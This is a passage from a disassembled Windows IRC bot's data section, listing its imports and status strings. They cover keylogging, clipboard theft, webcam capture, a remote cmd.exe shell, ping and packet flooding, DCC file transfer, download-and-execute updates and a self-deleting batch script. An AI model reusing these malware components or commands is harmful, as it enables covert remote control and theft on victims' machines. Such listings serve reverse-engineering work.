6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/%S).',0 align 4 unk_42CE2C db 2 ; DATA XREF: sub_409706+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(N/A)).',0 align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981F:loc_40A45Ao align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981F+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981F+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981F+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981F+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981F+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981F:loc_40A3BCo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981F+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981F+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981F:loc_40A372o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981F:loc_40A2FEo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981F+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981F:loc_40A2B4o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981F:loc_40A26Ao align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981F+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981F+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981F+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981F+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981F+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981F+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981F+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981F+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981F:loc_40A15Fo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981F+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981F+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981F+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981F:loc_40A100o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981F+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981F:loc_409FE0o aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981F+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981F+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981F+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981F+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_40981F+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981F+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981F+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_40981F+62Do align 4 aListen db 'listen',0 ; DATA XREF: sub_40981F+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40981F+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40981F+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981F+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_40981F+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40981F+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_40981F+5D2o ; sub_40EE72+220Do align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40981F+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40981F+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40981F+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40981F+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981F+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981F+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40981F+577o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981F+56Ao aSocket db 'socket',0 ; DATA XREF: sub_40981F+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981F+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981F+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981F+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981F+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981F+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981F+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981F+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981F+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981F+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981F+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981F+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981F+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981F+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981F+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981F:loc_409C2Eo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981F:loc_409C06o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981F+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40981F+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981F+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981F+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981F:loc_409B58o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981F+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981F+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981F+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981F+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981F+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981F:loc_409A7Eo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981F+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981F+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981F+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981F+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981F+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981F+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981F+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981F+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981F+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40981F:loc_409954o ; sub_42105F+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981F+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981F+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_40981F+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981F+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981F+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981F+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40981F+Ao align 4 unk_42D764 db 2 ; DATA XREF: sub_40A4AC+2F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o align 10h aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40AAFA+5o ; sub_415C5E+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB7C+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC42+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC42+48o align 4 unk_42D9A8 db 2 ; DATA XREF: sub_40AE02:loc_40AEC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42D9E8 db 2 ; DATA XREF: sub_40AE02:loc_40AE8Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42DA28 db 2 ; DATA XREF: sub_40AE02:loc_40AE5Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42DA5C db 2 ; DATA XREF: sub_40AE02+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42DA9C db 2 ; DATA XREF: sub_40AF86+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42DAD8 db 2 ; DATA XREF: sub_40AF86+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_42DB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+1C6o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42DB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+8Eo dd 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o dword_42DB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B549o dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42DBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42DC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B4FDo dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_42DC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42DC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B56C+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B721+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B8D8+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D8+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co align 10h word_42DDD0 dw 3Fh ; DATA XREF: sub_40B8D8:loc_40B9DAr ; sub_40D099+1Fo align 4 dword_42DDD4 dd 28207325h, 297325h ; DATA XREF: sub_40B8D8+EBo dword_42DDDC dd 3F3F3Fh ; DATA XREF: sub_40B8D8:loc_40B99Bo ; ___:loc_415C0Fo a2003 db '2003',0 ; DATA XREF: sub_40B8D8+BAo align 4 aXp db 'XP',0 ; DATA XREF: sub_40B8D8+AAo ; ___:00415BFAo align 4 a2k db '2K',0 ; DATA XREF: sub_40B8D8+98o ; ___:00415BEAo align 10h aMe db 'ME',0 ; DATA XREF: sub_40B8D8+7Eo ; ___:00415BD1o align 4 a98 db '98',0 ; DATA XREF: sub_40B8D8+6Co ; ___:00415BC1o align 4 aNt db 'NT',0 ; DATA XREF: sub_40B8D8+5Ao ; ___:00415BB1o align 4 a95 db '95',0 ; DATA XREF: sub_40B8D8+46o ; ___:00415BA3o align 10h aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40BB8C+A4o align 10h off_42DE40 dd offset loc_412F4E ; DATA XREF: sub_40BB8C:loc_40BBF8o off_42DE44 dd offset dword_4E414C ; DATA XREF: sub_40BB8C:loc_40BBEEo dword_42DE48 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BB8C+5Bo dword_42DE50 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BB8C+48o unk_42DE60 db 2 ; DATA XREF: sub_40BC4B:loc_40BE04o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_42DEA0 db 2 ; DATA XREF: sub_40BC4B:loc_40BDFDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42DEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+1A0o dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h dd 0 unk_42DF08 db 2 ; DATA XREF: sub_40BC4B:loc_40BDDEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42DF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+18Co dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h dd 0 dword_42DF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4B+3Bo dword_42DF84 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40BEF5+35o dword_42DF90 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o align 4 dword_42DFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_40C00D+1Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_42DFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+DCo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 0 dword_42E018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+3Fo dd 2BBBB02h, 65422020h, 6E6967h dword_42E038 dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h ; DATA XREF: sub_40C1AE+7o dword_42E050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C1AE+63o ; sub_40C351+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42E094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42E0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+47o ; sub_40C512+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42E108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+362o ; sub_40C8B4+156o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh dword_42E130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+2FAo dd 2BBBB02h aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42E180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42E1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h dword_42E1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C512+16Ao dd 169h dword_42E1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42E224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42E258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42E28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+1D1o dd 2BBBB02h aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 10h dword_42E2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+CBo dd 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42E310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+ABo dd 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_40C8B4+97o dword_42E350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h unk_42E390 db 2 ; DATA XREF: sub_40CAF1+493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42E3CC db 2 ; DATA XREF: sub_40CAF1+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42E414 db 2 ; DATA XREF: sub_40CAF1+3C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ 